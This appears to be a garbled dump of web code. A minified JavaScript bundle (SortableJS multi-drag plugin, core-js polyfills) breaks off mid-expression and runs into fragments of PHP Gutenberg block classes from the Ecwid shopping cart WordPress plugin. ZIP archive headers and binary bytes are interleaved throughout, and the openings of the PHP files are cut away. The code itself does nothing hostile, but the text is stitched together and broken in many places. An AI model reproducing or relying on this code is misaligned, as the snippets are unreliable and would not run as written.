c=at(et,!1,!0,!0);V.forEach(function(d){d!==et&&(br(d,c),o.appendChild(d))}),At=!0}if(!e)if(At||Le(),V.length>1){var u=we;t._showClone(i),t.options.animation&&!we&&u&&Rt.forEach(function(d){t.addAnimationState({target:d,rect:me}),d.fromRect=me,d.thisAnimationDuration=null})}else t._showClone(i)}},dragOverAnimationCapture:function(n){var i=n.dragRect,e=n.isOwner,f=n.activeSortable;if(V.forEach(function(o){o.thisAnimationDuration=null}),f.options.animation&&!e&&f.multiDrag.isMultiDrag){me=jt({},i);var t=ee(et,!0);me.top-=t.f,me.left-=t.e}},dragOverAnimationComplete:function(){At&&(At=!1,Le())},drop:function(n){var i=n.originalEvent,e=n.rootEl,f=n.parentEl,t=n.sortable,o=n.dispatchSortableEvent,a=n.oldIndex,l=n.putSortable,c=l||this.sortable;if(i){var u=this.options,d=f.children;if(!ae)if(u.multiDragKey&&!this.multiDragKeyDown&&this._deselectMultiDrag(),st(et,u.selectedClass,!~V.indexOf(et)),~V.indexOf(et))V.splice(V.indexOf(et),1),pe=null,ye({sortable:t,rootEl:e,name:"deselect",targetEl:et,originalEvt:i});else{if(V.push(et),ye({sortable:t,rootEl:e,name:"select",targetEl:et,originalEvt:i}),i.shiftKey&&pe&&t.el.contains(pe)){var v=dt(pe),h=dt(et);if(~v&&~h&&v!==h){var p,g;for(h>v?(g=v,p=h):(g=h,p=v+1);g1){var S=at(et),b=dt(et,":not(."+this.options.selectedClass+")");if(!ge&&u.animation&&(et.thisAnimationDuration=null),c.captureAnimationState(),!ge&&(u.animation&&(et.fromRect=S,V.forEach(function(x){if(x.thisAnimationDuration=null,x!==et){var P=At?at(x):S;x.fromRect=P,c.addAnimationState({target:x,rect:P})}})),Le(),V.forEach(function(x){d[b]?f.insertBefore(x,d[b]):f.appendChild(x),b++}),a===dt(et))){var I=!1;V.forEach(function(x){if(x.sortableIndex!==dt(x)){I=!0;return}}),I&&o("update")}V.forEach(function(x){ke(x)}),c.animateAll()}Lt=c}(e===f||l&&l.lastPutMode!=="clone")&&Rt.forEach(function(x){x.parentNode&&x.parentNode.removeChild(x)})}},nullingGlobal:function(){this.isMultiDrag=ae=!1,Rt.length=0},destroyGlobal:function(){this._deselectMultiDrag(),Q(document,"pointerup",this._deselectMultiDrag),Q(document,"mouseup",this._deselectMultiDrag),Q(document,"touchend",this._deselectMultiDrag),Q(document,"keydown",this._checkKeyDown),Q(document,"keyup",this._checkKeyUp)},_deselectMultiDrag:function(n){if(!(typeof ae<"u"&&ae)&&Lt===this.sortable&&!(n&&Ut(n.target,this.options.draggable,this.sortable.el,!1))&&!(n&&n.button!==0))for(;V.length;){var i=V[0];st(i,this.options.selectedClass,!1),V.shift(),ye({sortable:this.sortable,rootEl:this.sortable.el,name:"deselect",targetEl:i,originalEvt:n})}},_checkKeyDown:function(n){n.key===this.options.multiDragKey&&(this.multiDragKeyDown=!0)},_checkKeyUp:function(n){n.key===this.options.multiDragKey&&(this.multiDragKeyDown=!1)}},jt(s,{pluginName:"multiDrag",utils:{select:function(n){var i=n.parentNode[Ot];!i||!i.options.multiDrag||~V.indexOf(n)||(Lt&&Lt!==i&&(Lt.multiDrag._deselectMultiDrag(),Lt=i),st(n,i.options.selectedClass,!0),V.push(n))},deselect:function(n){var i=n.parentNode[Ot],e=V.indexOf(n);!i||!i.options.multiDrag||!~e||(st(n,i.options.selectedClass,!1),V.splice(e,1))}},eventProperties:function(){var n=this,i=[],e=[];return V.forEach(function(f){i.push({multiDragElement:f,index:f.sortableIndex});var t;At&&f!==et?t=-1:At?t=dt(f,":not(."+n.options.selectedClass+")"):t=dt(f),e.push({multiDragElement:f,index:t})}),{items:Zr(V),clones:[].concat(Rt),oldIndicies:i,newIndicies:e}},optionListeners:{multiDragKey:function(n){return n=n.toLowerCase(),n==="ctrl"?n="Control":n.length>1&&(n=n.charAt(0).toUpperCase()+n.substr(1)),n}}})}function An(s,r){V.forEach(function(n,i){var e=r.children[n.sortableIndex+(s?Number(i):0)];e?r.insertBefore(n,e):r.appendChild(n)})}function Ir(s,r){Rt.forEach(function(n,i){var e=r.children[n.sortableIndex+(s?Number(i):0)];e?r.insertBefore(n,e):r.appendChild(n)})}function Le(){V.forEach(function(s){s!==et&&s.parentNode&&s.parentNode.removeChild(s)})}K.mount(new Tn);K.mount(hr,vr);const Cn=Object.freeze(Object.defineProperty({__proto__:null,MultiDrag:Dn,Sortable:K,Swap:In,default:K},Symbol.toStringTag,{value:"Module"})),Rn=Br(Cn);(function(s,r){(function(i,e){s.exports=e(Wr,Rn)})(typeof self<"u"?self:Kr,function(n,i){return function(e){var f={};function t(o){if(f[o])return f[o].exports;var a=f[o]={i:o,l:!1,exports:{}};return e[o].call(a.exports,a,a.exports,t),a.l=!0,a.exports}return t.m=e,t.c=f,t.d=function(o,a,l){t.o(o,a)||Object.defineProperty(o,a,{enumerable:!0,get:l})},t.r=function(o){typeof Symbol<"u"&&Symbol.toStringTag&&Object.defineProperty(o,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(o,"__esModule",{value:!0})},t.t=function(o,a){if(a&1&&(o=t(o)),a&8||a&4&&typeof o=="object"&&o&&o.__esModule)return o;var l=Object.create(null);if(t.r(l),Object.defineProperty(l,"default",{enumerable:!0,value:o}),a&2&&typeof o!="string")for(var c in o)t.d(l,c,(function(u){return o[u]}).bind(null,c));return l},t.n=function(o){var a=o&&o.__esModule?function(){return o.default}:function(){return o};return t.d(a,"a",a),a},t.o=function(o,a){return Object.prototype.hasOwnProperty.call(o,a)},t.p="",t(t.s="fb15")}({"00ee":function(e,f,t){var o=t("b622"),a=o("toStringTag"),l={};l[a]="z",e.exports=String(l)==="[object z]"},"0366":function(e,f,t){var o=t("1c0b");e.exports=function(a,l,c){if(o(a),l===void 0)return a;switch(c){case 0:return function(){return a.call(l)};case 1:return function(u){return a.call(l,u)};case 2:return function(u,d){return a.call(l,u,d)};case 3:return function(u,d,v){return a.call(l,u,d,v)}}return function(){return a.apply(l,arguments)}}},"057f":function(e,f,t){var o=t("fc6a"),a=t("241c").f,l={}.toString,c=typeof window=="object"&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[],u=function(d){try{return a(d)}catch{return c.slice()}};e.exports.f=function(v){return c&&l.call(v)=="[object Window]"?u(v):a(o(v))}},"06cf":function(e,f,t){var o=t("83ab"),a=t("d1e7"),l=t("5c6c"),c=t("fc6a"),u=t("c04e"),d=t("5135"),v=t("0cfb"),h=Object.getOwnPropertyDescriptor;f.f=o?h:function(g,S){if(g=c(g),S=u(S,!0),v)try{return h(g,S)}catch{}if(d(g,S))return l(!a.f.call(g,S),g[S])}},"0cfb":function(e,f,t){var o=t("83ab"),a=t("d039"),l=t("cc12");e.exports=!o&&!a(function(){return Object.defineProperty(l("div"),"a",{get:function(){return 7}}).a!=7})},"13d5":function(e,f,t){var o=t("23e7"),a=t("d58f").left,l=t("a640"),c=t("ae40"),u=l("reduce"),d=c("reduce",{1:0});o({target:"Array",proto:!0,forced:!u||!d},{reduce:function(h){return a(this,h,arguments.length,arguments.length>1?arguments[1]:void 0)}})},"14c3":function(e,f,t){var o=t("c6b6"),a=t("9263");e.exports=function(l,c){var u=l.exec;if(typeof u=="function"){var d=u.call(l,c);if(typeof d!="object")throw TypeError("RegExp exec method returned something other than an Object or null");return d}if(o(l)!=="RegExp")throw TypeError("RegExp#exec called on incompatible receiver");return a.call(l,c)}},"159b":function(e,f,t){var o=t("da84"),a=t("fdbc"),l=t("17c2"),c=t("9112");for(var u in a){var d=o[u],v=d&&d.prototype;if(v&&v.forEach!==l)try{c(v,"forEach",l)}catch{v.forEach=l}}},"17c2":function(e,f,t){var o=t("b727").forEach,a=t("a640"),l=t("ae40"),c=a("forEach"),u=l("forEach");e.exports=!c||!u?function(v){return o(this,v,arguments.length>1?arguments[1]:void 0)}:[].forEach},"1be4":function(e,f,t){var o=t("d066");e.exports=o("document","documentElement")},"1c0b":function(e,f){e.exports=function(t){if(typeof t!="function")throw TypeError(String(t)+" is not a function");return t}},"1c7e":function(e,f,t){var o=t("b622"),a=o("iterator"),l=!1;try{var c=0,u={next:function(){return{done:!!c++}},return:function(){l=!0}};u[a]=function(){return this},Array.from(u,function(){throw 2})}catch{}e.exports=function(d,v){if(!v&&!l)return!1;var h=!1;try{var p={};p[a]=function(){return{next:function(){return{done:h=!0}}}},d(p)}catch{}return h}},"1d80":function(e,f){e.exports=function(t){if(t==null)throw TypeError("Can't call method on "+t);return t}},"1dde":function(e,f,t){var o=t("d039"),a=t("b622"),l=t("2d00"),c=a("species");e.exports=function(u){return l>=51||!o(function(){var d=[],v=d.constructor={};return v[c]=function(){return{foo:1}},d[u](Boolean).foo!==1})}},"23cb":function(e,f,t){var o=t("a691"),a=Math.max,l=Math.min;e.exports=function(c,u){var d=o(c);return d<0?a(d+u,0):l(d,u)}},"23e7":function(e,f,t){var o=t("da84"),a=t("06cf").f,l=t("9112"),c=t("6eeb"),u=t("ce4e"),d=t("e893"),v=t("94ca");e.exports=function(h,p){var g=h.target,S=h.global,b=h.stat,I,x,P,O,w,U;if(S?x=o:b?x=o[g]||u(g,{}):x=(o[g]||{}).prototype,x)for(P in p){if(w=p[P],h.noTargetGet?(U=a(x,P),O=U&&U.value):O=x[P],I=v(S?P:g+(b?".":"#")+P,h.forced),!I&&O!==void 0){if(typeof w==typeof O)continue;d(w,O)}(h.sham||O&&O.sham)&&l(w,"sham",!0),c(x,P,w,h)}}},"241c":function(e,f,t){var o=t("ca84"),a=t("7839"),l=a.concat("length","prototype");f.f=Object.getOwnPropertyNames||function(u){return o(u,l)}},"25f0":function(e,f,t){var o=t("6eeb"),a=t("825a"),l=t("d039"),c=t("ad6d"),u="toString",d=RegExp.prototype,v=d[u],h=l(function(){return v.call({source:"a",flags:"b"})!="/a/b"}),p=v.name!=u;(h||p)&&o(RegExp.prototype,u,function(){var S=a(this),b=String(S.source),I=S.flags,x=String(I===void 0&&S instanceof RegExp&&!("flags"in d)?c.call(S):I);return"/"+b+"/"+x},{unsafe:!0})},"2ca0":function(e,f,t){var o=t("23e7"),a=t("06cf").f,l=t("50c4"),c=t("5a34"),u=t("1d80"),d=t("ab13"),v=t("c430"),h="".startsWith,p=Math.min,g=d("startsWith"),S=!v&&!g&&!!function(){var b=a(String.prototype,"startsWith");return b&&!b.writable}();o({target:"String",proto:!0,forced:!S&&!g},{startsWith:function(I){var x=String(u(this));c(I);var P=l(p(arguments.length>1?arguments[1]:void 0,x.length)),O=String(I);return h?h.call(x,O,P):x.slice(P,P+O.length)===O}})},"2d00":function(e,f,t){var o=t("da84"),a=t("342f"),l=o.process,c=l&&l.versions,u=c&&c.v8,d,v;u?(d=u.split("."),v=d[0]+d[1]):a&&(d=a.match(/Edge\/(\d+)/),(!d||d[1]>=74)&&(d=a.match(/Chrome\/(\d+)/),d&&(v=d[1]))),e.exports=v&&+v},"342f":function(e,f,t){var o=t("d066");e.exports=o("navigator","userAgent")||""},"35a1":function(e,f,t){var o=t("f5df"),a=t("3f8c"),l=t("b622"),c=l("iterator");e.exports=function(u){if(u!=null)return u[c]||u["@@iterator"]||a[o(u)]}},"37e8":function(e,f,t){var o=t("83ab"),a=t("9bf2"),l=t("825a"),c=t("df75");e.exports=o?Object.defineProperties:function(d,v){l(d);for(var h=c(v),p=h.length,g=0,S;p>g;)a.f(d,S=h[g++],v[S]);return d}},"3bbe":function(e,f,t){var o=t("861d");e.exports=function(a){if(!o(a)&&a!==null)throw TypeError("Can't set "+String(a)+" as a prototype");return a}},"3ca3":function(e,f,t){var o=t("6547").charAt,a=t("69f3"),l=t("7dd0"),c="String Iterator",u=a.set,d=a.getterFor(c);l(String,"String",function(v){u(this,{type:c,string:String(v),index:0})},function(){var h=d(this),p=h.string,g=h.index,S;return g>=p.length?{value:void 0,done:!0}:(S=o(p,g),h.index+=S.length,{value:S,done:!1})})},"3f8c":function(e,f){e.exports={}},4160:function(e,f,t){var o=t("23e7"),a=t("17c2");o({target:"Array",proto:!0,forced:[].forEach!=a},{forEach:a})},"428f":function(e,f,t){var o=t("da84");e.exports=o},"44ad":function(e,f,t){var o=t("d039"),a=t("c6b6"),l="".split;e.exports=o(function(){return!Object("z").propertyIsEnumerable(0)})?function(c){return a(c)=="String"?l.call(c,""):Object(c)}:Object},"44d2":function(e,f,t){var o=t("b622"),a=t("7c73"),l=t("9bf2"),c=o("unscopables"),u=Array.prototype;u[c]==null&&l.f(u,c,{configurable:!0,value:a(null)}),e.exports=function(d){u[c][d]=!0}},"44e7":function(e,f,t){var o=t("861d"),a=t("c6b6"),l=t("b622"),c=l("match");e.exports=function(u){var d;return o(u)&&((d=u[c])!==void 0?!!d:a(u)=="RegExp")}},4930:function(e,f,t){var o=t("d039");e.exports=!!Object.getOwnPropertySymbols&&!o(function(){return!String(Symbol())})},"4d64":function(e,f,t){var o=t("fc6a"),a=t("50c4"),l=t("23cb"),c=function(u){return function(d,v,h){var p=o(d),g=a(p.length),S=l(h,g),b;if(u&&v!=v){for(;g>S;)if(b=p[S++],b!=b)return!0}else for(;g>S;S++)if((u||S in p)&&p[S]===v)return u||S||0;return!u&&-1}};e.exports={includes:c(!0),indexOf:c(!1)}},"4de4":function(e,f,t){var o=t("23e7"),a=t("b727").filter,l=t("1dde"),c=t("ae40"),u=l("filter"),d=c("filter");o({target:"Array",proto:!0,forced:!u||!d},{filter:function(h){return a(this,h,arguments.length>1?arguments[1]:void 0)}})},"4df4":function(e,f,t){var o=t("0366"),a=t("7b0b"),l=t("9bdd"),c=t("e95a"),u=t("50c4"),d=t("8418"),v=t("35a1");e.exports=function(p){var g=a(p),S=typeof this=="function"?this:Array,b=arguments.length,I=b>1?arguments[1]:void 0,x=I!==void 0,P=v(g),O=0,w,U,T,M,j,Y;if(x&&(I=o(I,b>2?arguments[2]:void 0,2)),P!=null&&!(S==Array&&c(P)))for(M=P.call(g),j=M.next,U=new S;!(T=j.call(M)).done;O++)Y=x?l(M,I,[T.value,O],!0):T.value,d(U,O,Y);else for(w=u(g.length),U=new S(w);w>O;O++)Y=x?I(g[O],O):g[O],d(U,O,Y);return U.length=O,U}},"4fad":function(e,f,t){var o=t("23e7"),a=t("6f53").entries;o({target:"Object",stat:!0},{entries:function(c){return a(c)}})},"50c4":function(e,f,t){var o=t("a691"),a=Math.min;e.exports=function(l){return l>0?a(o(l),9007199254740991):0}},5135:function(e,f){var t={}.hasOwnProperty;e.exports=function(o,a){return t.call(o,a)}},5319:function(e,f,t){var o=t("d784"),a=t("825a"),l=t("7b0b"),c=t("50c4"),u=t("a691"),d=t("1d80"),v=t("8aa5"),h=t("14c3"),p=Math.max,g=Math.min,S=Math.floor,b=/\$([$&'`]|\d\d?|<[^>]*>)/g,I=/\$([$&'`]|\d\d?)/g,x=function(P){return P===void 0?P:String(P)};o("replace",2,function(P,O,w,U){var T=U.REGEXP_REPLACE_SUBSTITUTES_UNDEFINED_CAPTURE,M=U.REPLACE_KEEPS_$0,j=T?"$":"$0";return[function(R,X){var N=d(this),$=R==null?void 0:R[P];return $!==void 0?$.call(R,N,X):O.call(String(N),R,X)},function(A,R){if(!T&&M||typeof R=="string"&&R.indexOf(j)===-1){var X=w(O,A,this,R);if(X.done)return X.value}var N=a(A),$=String(this),_=typeof R=="function";_||(R=String(R));var rt=N.global;if(rt){var yt=N.unicode;N.lastIndex=0}for(var lt=[];;){var ft=h(N,$);if(ft===null||(lt.push(ft),!rt))break;var gt=String(ft[0]);gt===""&&(N.lastIndex=v($,c(N.lastIndex),yt))}for(var mt="",ht=0,nt=0;nt=ht&&(mt+=$.slice(ht,Ct)+St,ht=Ct+it.length)}return mt+$.slice(ht)}];function Y(A,R,X,N,$,_){var rt=X+A.length,yt=N.length,lt=I;return $!==void 0&&($=l($),lt=b),O.call(_,lt,function(ft,gt){var mt;switch(gt.charAt(0)){case"$":return"$";case"&":return A;case"`":return R.slice(0,X);case"'":return R.slice(rt);case"<":mt=$[gt.slice(1,-1)];break;default:var ht=+gt;if(ht===0)return ft;if(ht>yt){var nt=S(ht/10);return nt===0?ft:nt<=yt?N[nt-1]===void 0?gt.charAt(1):N[nt-1]+gt.charAt(1):ft}mt=N[ht-1]}return mt===void 0?"":mt})}})},5692:function(e,f,t){var o=t("c430"),a=t("c6cd");(e.exports=function(l,c){return a[l]||(a[l]=c!==void 0?c:{})})("versions",[]).push({version:"3.6.5",mode:o?"pure":"global",copyright:"© 2020 Denis Pushkarev (zloirock.ru)"})},"56ef":function(e,f,t){var o=t("d066"),a=t("241c"),l=t("7418"),c=t("825a");e.exports=o("Reflect","ownKeys")||function(d){var v=a.f(c(d)),h=l.f;return h?v.concat(h(d)):v}},"5a34":function(e,f,t){var o=t("44e7");e.exports=function(a){if(o(a))throw TypeError("The method doesn't accept regular expressions");return a}},"5c6c":function(e,f){e.exports=function(t,o){return{enumerable:!(t&1),configurable:!(t&2),writable:!(t&4),value:o}}},"5db7":function(e,f,t){var o=t("23e7"),a=t("a2bf"),l=t("7b0b"),c=t("50c4"),u=t("1c0b"),d=t("65f0");o({target:"Array",proto:!0},{flatMap:function(h){var p=l(this),g=c(p.length),S;return u(h),S=d(p,0),S.length=a(S,p,p,g,0,1,h,arguments.length>1?arguments[1]:void 0),S}})},6547:function(e,f,t){var o=t("a691"),a=t("1d80"),l=function(c){return function(u,d){var v=String(a(u)),h=o(d),p=v.length,g,S;return h<0||h>=p?c?"":void 0:(g=v.charCodeAt(h),g<55296||g>56319||h+1===p||(S=v.charCodeAt(h+1))<56320||S>57343?c?v.charAt(h):g:c?v.slice(h,h+2):(g-55296<<10)+(S-56320)+65536)}};e.exports={codeAt:l(!1),charAt:l(!0)}},"65f0":function(e,f,t){var o=t("861d"),a=t("e8b5"),l=t("b622"),c=l("species");e.exports=function(u,d){var v;return a(u)&&(v=u.constructor,typeof v=="function"&&(v===Array||a(v.prototype))?v=void 0:o(v)&&(v=v[c],v===null&&(v=void 0))),new(v===void 0?Array:v)(d===0?0:d)}},"69f3":function(e,f,t){var o=t("7f9a"),a=t("da84"),l=t("861d"),c=t("9112"),u=t("5135"),d=t("f772"),v=t("d012"),h=a.WeakMap,p,g,S,b=function(T){return S(T)?g(T):p(T,{})},I=function(T){return function(M){var j;if(!l(M)||(j=g(M)).type!==T)throw TypeError("Incompatible receiver, "+T+" required");return j}};if(o){var x=new h,P=x.get,O=x.has,w=x.set;p=function(T,M){return w.call(x,T,M),M},g=function(T){return P.call(x,T)||{}},S=function(T){return O.call(x,T)}}else{var U=d("state");v[U]=!0,p=function(T,M){return c(T,U,M),M},g=function(T){return u(T,U)?T[U]:{}},S=function(T){return u(T,U)}}e.exports={set:p,get:g,has:S,enforce:b,getterFor:I}},"6eeb":function(e,f,t){var o=t("da84"),a=t("9112"),l=t("5135"),c=t("ce4e"),u=t("8925"),d=t("69f3"),v=d.get,h=d.enforce,p=String(String).split("String");(e.exports=function(g,S,b,I){var x=I?!!I.unsafe:!1,P=I?!!I.enumerable:!1,O=I?!!I.noTargetGet:!1;if(typeof b=="function"&&(typeof S=="string"&&!l(b,"name")&&a(b,"name",S),h(b).source=p.join(typeof S=="string"?S:"")),g===o){P?g[S]=b:c(S,b);return}else x?!O&&g[S]&&(P=!0):delete g[S];P?g[S]=b:a(g,S,b)})(Function.prototype,"toString",function(){return typeof this=="function"&&v(this).source||u(this)})},"6f53":function(e,f,t){var o=t("83ab"),a=t("df75"),l=t("fc6a"),c=t("d1e7").f,u=function(d){return function(v){for(var h=l(v),p=a(h),g=p.length,S=0,b=[],I;g>S;)I=p[S++],(!o||c.call(h,I))&&b.push(d?[I,h[I]]:h[I]);return b}};e.exports={entries:u(!0),values:u(!1)}},"73d9":function(e,f,t){var o=t("44d2");o("flatMap")},7418:function(e,f){f.f=Object.getOwnPropertySymbols},"746f":function(e,f,t){var o=t("428f"),a=t("5135"),l=t("e538"),c=t("9bf2").f;e.exports=function(u){var d=o.Symbol||(o.Symbol={});a(d,u)||c(d,u,{value:l.f(u)})}},7839:function(e,f){e.exports=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"]},"7b0b":function(e,f,t){var o=t("1d80");e.exports=function(a){return Object(o(a))}},"7c73":function(e,f,t){var o=t("825a"),a=t("37e8"),l=t("7839"),c=t("d012"),u=t("1be4"),d=t("cc12"),v=t("f772"),h=">",p="<",g="prototype",S="script",b=v("IE_PROTO"),I=function(){},x=function(T){return p+S+h+T+p+"/"+S+h},P=function(T){T.write(x("")),T.close();var M=T.parentWindow.Object;return T=null,M},O=function(){var T=d("iframe"),M="java"+S+":",j;return T.style.display="none",u.appendChild(T),T.src=String(M),j=T.contentWindow.document,j.open(),j.write(x("document.F=Object")),j.close(),j.F},w,U=function(){try{w=document.domain&&new ActiveXObject("htmlfile")}catch{}U=w?P(w):O();for(var T=l.length;T--;)delete U[g][l[T]];return U()};c[b]=!0,e.exports=Object.create||function(M,j){var Y;return M!==null?(I[g]=o(M),Y=new I,I[g]=null,Y[b]=M):Y=U(),j===void 0?Y:a(Y,j)}},"7dd0":function(e,f,t){var o=t("23e7"),a=t("9ed3"),l=t("e163"),c=t("d2bb"),u=t("d44e"),d=t("9112"),v=t("6eeb"),h=t("b622"),p=t("c430"),g=t("3f8c"),S=t("ae93"),b=S.IteratorPrototype,I=S.BUGGY_SAFARI_ITERATORS,x=h("iterator"),P="keys",O="values",w="entries",U=function(){return this};e.exports=function(T,M,j,Y,A,R,X){a(j,M,Y);var N=function(nt){if(nt===A&<)return lt;if(!I&&nt in rt)return rt[nt];switch(nt){case P:return function(){return new j(this,nt)};case O:return function(){return new j(this,nt)};case w:return function(){return new j(this,nt)}}return function(){return new j(this)}},$=M+" Iterator",_=!1,rt=T.prototype,yt=rt[x]||rt["@@iterator"]||A&&rt[A],lt=!I&&yt||N(A),ft=M=="Array"&&rt.entries||yt,gt,mt,ht;if(ft&&(gt=l(ft.call(new T)),b!==Object.prototype&>.next&&(!p&&l(gt)!==b&&(c?c(gt,b):typeof gt[x]!="function"&&d(gt,x,U)),u(gt,$,!0,!0),p&&(g[$]=U))),A==O&&yt&&yt.name!==O&&(_=!0,lt=function(){return yt.call(this)}),(!p||X)&&rt[x]!==lt&&d(rt,x,lt),g[M]=lt,A)if(mt={values:N(O),keys:R?lt:N(P),entries:N(w)},X)for(ht in mt)(I||_||!(ht in rt))&&v(rt,ht,mt[ht]);else o({target:M,proto:!0,forced:I||_},mt);return mt}},"7f9a":function(e,f,t){var o=t("da84"),a=t("8925"),l=o.WeakMap;e.exports=typeof l=="function"&&/native code/.test(a(l))},"825a":function(e,f,t){var o=t("861d");e.exports=function(a){if(!o(a))throw TypeError(String(a)+" is not an object");return a}},"83ab":function(e,f,t){var o=t("d039");e.exports=!o(function(){return Object.defineProperty({},1,{get:function(){return 7}})[1]!=7})},8418:function(e,f,t){var o=t("c04e"),a=t("9bf2"),l=t("5c6c");e.exports=function(c,u,d){var v=o(u);v in c?a.f(c,v,l(0,d)):c[v]=d}},"861d":function(e,f){e.exports=function(t){return typeof t=="object"?t!==null:typeof t=="function"}},8875:function(e,f,t){var o,a,l;(function(c,u){a=[],o=u,l=typeof o=="function"?o.apply(f,a):o,l!==void 0&&(e.exports=l)})(typeof self<"u"?self:this,function(){function c(){var u=Object.getOwnPropertyDescriptor(document,"currentScript");if(!u&&"currentScript"in document&&document.currentScript||u&&u.get!==c&&document.currentScript)return document.currentScript;try{throw new Error}catch(w){var d=/.*at [^(]*\((.*):(.+):(.+)\)$/ig,v=/@([^@]*):(\d+):(\d+)\s*$/ig,h=d.exec(w.stack)||v.exec(w.stack),p=h&&h[1]||!1,g=h&&h[2]||!1,S=document.location.href.replace(document.location.hash,""),b,I,x,P=document.getElementsByTagName("script");p===S&&(b=document.documentElement.outerHTML,I=new RegExp("(?:[^\\n]+?\\n){0,"+(g-2)+"}[^<]* HTML; return $result; } }PKÊ—[}Åš³ââQecwid-shopping-cart/includes/gutenberg/class-ecwid-gutenberg-block-categories.phpnu„[µü¤ true ) ); $shortcode = new Ecwid_Shortcode_Categories( $params ); return $shortcode->render(); } public function get_params() { $params = parent::get_params(); $params['has_categories'] = true; if ( ecwid_is_demo_store() ) { $params['has_categories'] = false; } else { $api = new Ecwid_Api_V3(); $params['has_categories'] = $api->has_public_categories(); } return $params; } }PKÊ—[CSÜÜTecwid-shopping-cart/includes/gutenberg/class-ecwid-gutenberg-block-category-page.phpnu„[µü¤get_store_profile(); $params['filtersEnabled'] = true; if ( isset( $settings->productFiltersSettings ) && isset( $settings->productFiltersSettings->enabledInStorefront ) ) { $params['filtersEnabled'] = $settings->productFiltersSettings->enabledInStorefront; } return $params; } public function get_attributes_for_editor() { $attributes = parent::get_attributes_for_editor(); $overrides = array( 'show_breadcrumbs' => false ); foreach ( $overrides as $name => $editor_default ) { $attributes[$name]['profile_default'] = $attributes[$name]['default']; $attributes[$name]['default'] = $editor_default; } return $attributes; } public function render_callback( $params ) { $params['no_html_catalog'] = 1; $result = parent::render_callback( $params ); $result .= << Ecwid.OnAPILoaded.add(function() { Ecwid.OnPageLoad.add(function(page) { if ("CATEGORY" == page.type && 0 == page.categoryId && !page.hasPrevious) { Ecwid.openPage("search"); } }) }); HTML; return $result; } }PKÊ—[k‚zÀ À Oecwid-shopping-cart/includes/gutenberg/class-ecwid-gutenberg-block-minicart.phpnu„[µü¤ true ) ); ob_start(); ?> get_attributes_for_editor(); foreach ( array( 'fixed_shape', 'layout', 'icon' ) as $param ) { if ( !@$params[$param] ) { $params[$param] = $attributes[$param]['default']; } } ?>
    ' data-layout='' data-icon='' >
    ' . $contents . ''; } return $contents; } public function get_attributes_for_editor() { $minicart_attributes = array( 'layout' => array( 'name' => 'layout', 'title' => __( 'Layout', 'ecwid-shopping-cart' ), 'values' => Ecwid_Floating_Minicart::get_layouts(), 'default' => 'BIG_ICON_TITLE_SUBTOTAL' ), 'icon' => array( 'name' => 'icon', 'title' => __( 'Cart icon', 'ecwid-shopping-cart' ), 'values' => Ecwid_Floating_Minicart::get_icons(), 'default' => 'BAG' ), 'fixed_shape' => array( 'name' => 'fixed_shape', 'title' => __( 'Border', 'ecwid-shopping-cart' ), 'values' => Ecwid_Floating_Minicart::get_fixed_shapes(), 'default' => 'RECT' ) ); $attributes = array(); foreach ( $minicart_attributes as $name => $attr ) { $result = array(); $result['name'] = $attr['name']; $result['title'] = $attr['title']; $result['default'] = $attr['default']; $result['values'] = array(); foreach ( $attr['values'] as $value => $title ) { $result['values'][] = array( 'value' => $value, 'title' => $title ); } $attributes[$name] = $result; } return $attributes; } }PKÊ—[V3¼¨$$Secwid-shopping-cart/includes/gutenberg/class-ecwid-gutenberg-block-product-page.phpnu„[µü¤ false, 'product_details_show_breadcrumbs' => false ); foreach ( $overrides as $name => $editor_default ) { $attributes[$name]['profile_default'] = $attributes[$name]['default']; $attributes[$name]['default'] = $editor_default; } return $attributes; } }PKÊ—[û¨AANecwid-shopping-cart/includes/gutenberg/class-ecwid-gutenberg-block-product.phpnu„[µü¤ 0, 'show_picture' => true, 'show_title' => true, 'show_price' => true, 'show_options' => true, 'show_addtobag' => true, 'show_border' => true, 'center_align' => true, 'show_price_on_button' => true ) ); $display = array( 'picture', 'title', 'price', 'options', 'qty', 'addtobag' ); $params['display'] = ''; $display_string = ''; foreach ( $display as $name ) { if ( @$params['show_' . $name] ) { $params['display'] .= ' ' . $name; } } $params['version'] = 2; $shortcode = new Ecwid_Shortcode_Product( $params ); $contents = $shortcode->render(); $align = @$params['align']; if ( $align == 'right' || $align == "left" ) { $contents = '
    ' . $contents . '
    '; } return $contents; } public function get_icon_path() { return 'M16.43,5.12c-0.13-1.19-0.15-1.19-1.35-1.33c-0.21-0.02-0.21-0.02-0.43-0.05c-0.01,0.06,0.06,0.78,0.14,1.13 c0.57,0.37,0.87,0.98,0.87,1.71c0,1.14-0.93,2.07-2.07,2.07s-2.07-0.93-2.07-2.07c0-0.54,0.09-0.97,0.55-1.4 c-0.06-0.61-0.19-1.54-0.18-1.64C10.14,3.46,8.72,3.46,8.58,3.6l-8.17,8.13c-0.56,0.55-0.56,1.43,0,1.97l5.54,5.93 c0.56,0.55,1.46,0.55,2.01,0l8.67-8.14C17.04,11.09,16.68,7.14,16.43,5.12z M16.06,0.04c-1.91,0-3.46,1.53-3.46,3.41c0,0.74,0.4,3.09,0.44,3.28c0.07,0.34,0.52,0.56,0.86,0.49 C14,7.19,14.07,7.15,14.12,7.1c0.24-0.11,0.32-0.39,0.25-0.68c-0.09-0.45-0.39-2.44-0.39-2.94c0-1.16,0.94-2.09,2.11-2.09 c1.24,0,2.11,0.96,2.11,2.34c0,2.43-0.31,4.23-0.32,4.26c-0.1,0.17-0.1,0.38-0.03,0.55c0.03,0.17,0.13,0.31,0.28,0.4 c0.1,0.06,0.22,0.09,0.33,0.09c0.21,0,0.42-0.1,0.54-0.3c0.06-0.09,0.52-2.17,0.52-5.03C19.52,1.61,18.04,0.04,16.06,0.04z'; } }PKÊ—[ç5¢[¢¢Mecwid-shopping-cart/includes/gutenberg/class-ecwid-gutenberg-block-search.phpnu„[µü¤ true ) ); $shortcode = new Ecwid_Shortcode_Search( $params ); return $shortcode->render(); } }PKÊ—[žp{¤''Lecwid-shopping-cart/includes/gutenberg/class-ecwid-gutenberg-block-store.phpnu„[µü¤ $this->get_attributes_for_editor(), 'isNewProductList' => $this->_is_new_product_list(), 'isNewDetailsPage' => $this->_is_new_details_page(), 'storeBlockTitle' => _x( 'Store', 'gutenberg-store-block-stub', 'ecwid-shopping-cart' ), 'shortcodeName' => Ecwid_Shortcode_Base::get_current_store_shortcode_name(), 'title' => __( 'Store Home Page', 'ecwid-shopping-cart' ), 'icon'=> 